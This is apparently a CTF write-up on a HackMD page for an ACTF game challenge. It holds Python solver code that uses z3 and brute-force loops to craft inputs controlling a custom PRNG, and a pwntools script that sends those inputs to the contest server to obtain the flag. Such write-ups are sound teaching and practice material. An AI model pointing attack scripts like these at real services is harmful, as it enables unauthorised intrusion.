rand1,rand2,_,rand4=myrand(seed^currentrand) s.add(rand1<0x8000) s.add(rand2<0x8000) x=(currentx+rand1)&0xffff y=(currenty+rand2)&0xffff s.add((x^y)&7==1) s.add(((x^y)>>3)&3==wtype) s.check() print(s.model()) # currentrand=rand4 #!import:这里需要更新 m=s.model() seed_value=m[seed].as_long() new_seed=seed_value^currentrand real1,real2,_,rand4=myrand(new_seed) realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff # 检验 assert((realx^realy)&7==1) assert(((realx^realy)>>3)&3==wtype) return seed_value # 获得武器的密码 # x,y=getweapon(0) # [y = 10008, x = 10009] 0x2718,0x2719 # print(hex(x),hex(y)) # getweapon(1) # [y = 10013, x = 10004] 0x2714,0x271d # getweapon(2) # [y = 10121, x = 10008] 0x2718,0x2789 def updatestate(seed): global currentx,currenty,currentrand seed_value=seed new_seed=seed_value^currentrand rand1,rand2,_,rand4=myrand(new_seed) currentrand=rand4 currentx=(currentx+rand1)&0xffff currenty=(currenty+rand2)&0xffff print(hex(currentx),hex(currenty),hex(new_seed),hex(rand1),hex(rand2),hex(rand4)) secret =[0x39a53,0x97e4f,0x155ac,0xa60ac,0x4e93f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x44bb,0x2415f,0x483fe,0x94bb,0x7341e,0x109c7,0x1b7e1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x4010c,0x1cc9f,0x97efb,0x3758b,0x77d3,0x3ceba,0x2b9bf,0x1c7a9,0xa753f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x9ec7,0x4fb6,0x36153,0x29479,0x34f19,0x798a4,0x29937,0x19798,0x2a719,0x163ce,0x1b947,0xd1de,0x14ca9,0x25eab,0xee87,0xa375,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x16352,0x16384,0x163b8,0x29a6e,0x25bda,0x3b8ec,0x14464,0x1a0e5,0xed07,0x3cec9,0xca32,0x27b79,0x13da7,0x2749f,0x3d938,0x1a78f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3dd43,0xc9ab,0x6e1f,0x51194,0x3ba72,0x1b9ff,0xed01,0x785b,0x1c9ff,0xb37b,0xe29b,0x16429,0x1fe1,0x155bf,0x4fb69,0x51160,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x36bc2,0x482ce,0x9d1b,0x7241f,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x36049,0x5d7de,0x1c86c,0x1c7a7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0] def get_strinput(row): col=0 s2=[] while(secret[32*row+col]): v21=0 v22 = secret[32 * row + col] while(v22!=1): if (v22&1): v22=3*v22+1 else: v22>>=1 v21+=1 s2.append((v21+0x80)&0xff) col+=1 # s2.append(0) return s2 # for i in range(8): # print((bytes(get_strinput(i))).decode()) ''' 出招表 sword whistle newspaper 54fcfbc921e8b735 111c7ab93a8cbcae a8cdae3240310bdd fist flee hints: a12caf3cba1e5f13 ''' # 展示当前状况 def show(): global currentx,currenty,currentrand print('currentx:',hex(currentx)) print('currenty:',hex(currenty)) print('currentrand:',hex(currentrand)) # res=myrand(0x42) # print(res) # res=getupdateseed(0x332c,0x3a48) 947411131 # res=getweaponseed(0) # 0x65695029 # print(hex(res)) def get_input(wtype): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if((realx^realy)&7) and ((realx^realy)%8==1): if(((realx^realy)>>3)&3==wtype): print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) return 0 return -1 def get_update_input(): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if realx== 0x8b6 and realy== 0x6dac: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:0") continue if realx== 0x2f58 and realy== 0x46fb: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:1") continue if realx== 0xa439 and realy== 0xbc55: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(realx),hex(realy),hex(rand1),hex(rand2)) print("type:2") continue # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 # 缓慢靠近 y def get_slow_update_input_y(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff and (rand2&0xffff)==diff: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 # 缓慢靠近 x def get_slow_update_input_x(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff: continue if (rand1&0xffff)==diff and (rand2&0xffff)>0x7fff: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 def get_update_xy(diff): global currentrand for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(seed) if (rand1&0xffff)>0x7fff: continue if (rand1&0xffff)==diff and (rand2&0xffff)<0x8000: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) return 0 # v24 = 0x33C458487662651A # 铁匠屋副本 [y = 28076, x = 2230] 0x8b6,0x6dac 0 # v24 = 0x5B3E7B48765369A3 # 巫师之塔副本 [y = 18171, x = 12120] 0x2f58,0x46fb 1 # v24 = 0xDBE762ED608E186C # 工程师小屋 [y = 48213, x = 42041] 0xa439,0xbc55 2 return -1 def get_weeb(): for i1 in range(0x21,0x7f): for i2 in range(0x21,0x7f): for i3 in range(0x21,0x7f): for i4 in range(0x21,0x7f): input_value=(i1<<24)|(i2<<16)|(i3<<8)|i4 seed=input_value^currentrand rand1,rand2=myrand(input_value^currentrand) if rand1&0xffff<0x8000 and rand2&0xffff<0x8000: realx=(currentx+rand1)&0xffff realy=(currenty+rand2)&0xffff andorxy=((realx & realy)+(realx | realy))&0xffff xorvy=(realx ^ realy)&0xffff imuxy=(realx * realy)&0xffff sumxy=(andorxy + xorvy + imuxy)&0xffff if (sumxy>>15)or (andorxy>>15) or(xorvy>>15) or(sumxy>>15): continue if((realx^realy)&7)==0: print(hex(input_value)) print(chr(i4)+chr(i3)+chr(i2)+chr(i1)+"/") print(hex(seed),hex(rand1),hex(rand2)) print(hex(realx),hex(realy)) return 0 return -1 # get_input(0) #0x21212f22 "/!! get sword input1=0x21212f22 new_seed=currentrand^input1 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # print(hex(currentrand),hex(currentx),hex(currenty)) # get_input(1) #0x21213059 Y0!! get newspaper input2=0x21213059 new_seed=currentrand^input2 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # get_input(2) #0x2121237d }#!! get whistle input3=0x2121237d new_seed=currentrand^input3 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # get_update_input() # get_slow_update_input_y(0x2335) # 0x21214365 eC!! input4=0x21214365 new_seed=currentrand^input4 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_x(0x7888) # 0x21235c52 R\#! input5=0x21235c52 new_seed=currentrand^input5 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # get_slow_update_input_x(0x7888) # 0x21283a31 1:(! input6=0x21283a31 new_seed=currentrand^input6 res=myrand_5(new_seed) # print(res) # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() 0xa439 0xbc55 # now() 0x88b6 0xedac #diff() 0x1b83 0xcea9 # get_update_xy(0x1b83) # get_input(3) # get_weeb() # 0x2121266d m&!! input7=0x2121266d # defeat weed new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # 0x2439 0x3c55 # get_slow_update_input_x(0x2439-0x7ca) # 0x2431212d -!1$/ input7=0x2431212d new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!! input7=0x21214b4f new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # currentx: 0x2439 # currenty: 0x3c55 # 0x2f58 0x46fb # get_slow_update_input_x(0x2f58-0x2439) # 0x50244650 PF$P # 0x50244650 # PF$P/ # 0x21ddf283 0x3c460b1f 0x6ce1aa8e input7=0x50244650 new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() #currentx: 0x2f58 # currenty: 0x3c55 # get_slow_update_input_y(0x3c55-0x161a) # 0x21214b4f OK!! # get_slow_update_input_y(0x46fb-0x3c55) 0x2128583e >X(! input7=0x2128583e new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currenty=(currenty+eval(res[1]))&0xffff # show() # currentx: 0x2f58 # currenty: 0x46fb # currentrand: 0x4e09f8d1 # 0xb32c 0xba48 diff:0x71c # get_slow_update_input_x(0xb32c-0x2f58) # get_slow_update_input_y(0xba48-0x46fb) # 0x21372346 # F#7!/ # 0x6f3edb97 0x37f63b6a 0x3a18734d input7=0x21372346 new_seed=currentrand^input7 res=myrand_5(new_seed) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff # show() # get_slow_update_input_x(0xb32c-0x6ac2) # 0x3124464e NF$1 0x5023705e ^p#P input7=0x3124464e new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # currentx: 0xb32c # currenty: 0xba48 # currentrand: 0x3d1980b4 # get_slow_update_input_x(0x10000-0xb32c) # 0x50216172 ra!P # get_slow_update_input_y(0x10000-0xba48) input7=0x50216172 new_seed=currentrand^input7 # print(hex(new_seed)) res=myrand_5(new_seed) # print(res) # # updatestate(0x65695029) currentrand=eval(res[4]) currentx=(currentx+eval(res[0]))&0xffff # show() # get_slow_update_input_y(0x10000-0xba48) # 0x30214f62 bO!0 input7=0x30214f62 new_seed=currentrand^input7 res=myrand_5(new_seed) currentrand=eval(res[4]) # currentx=(currentx+eval(res[0]))&0xffff currenty=(currenty+eval(res[1]))&0xffff show() ``` pwn提交输入的脚本 ```python= from pwn import * context.log_level = 'debug' io=remote("challs.actf.co", 31600) # nc challs.actf.co 31600 # io.interactive() def go(code): io.recvuntil(b'> ') io.sendline(code) def attack(code): io.recvuntil(b'Choose your action: ') io.sendline(code) codes=[rb'"/!!',rb'Y0!!',rb'}#!!',rb'eC!!',rb'R\#!',rb'1:(!',rb'm&!!',rb'-!1$',rb'OK!!',rb'PF$P',rb'>X(!',rb'F#7!',rb'NF$1',rb'ra!P',rb'bO!0',rb'a12caf3cba1e5f13'] attacks=[rb'54fcfbc921e8b735',rb'111c7ab93a8cbcae',rb'a8cdae3240310bdd',rb'fist'] # io.recvuntil(b'Enter your name: ') io.sendline(b'song') for i in range(7): go(codes[i]) attack(attacks[0]) for i in range(7,14): go(codes[i]) attack(attacks[0]) go(codes[14]) attack(attacks[0]) go(codes[15]) for i in range(4): attack(attacks[i]) # io.recv(1024,5) io.recvuntil(b'!') ``` ![](https://i.imgur.com/rRt1NCA.png) flag:actf{sorry_guys_no_double_free_this_time}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully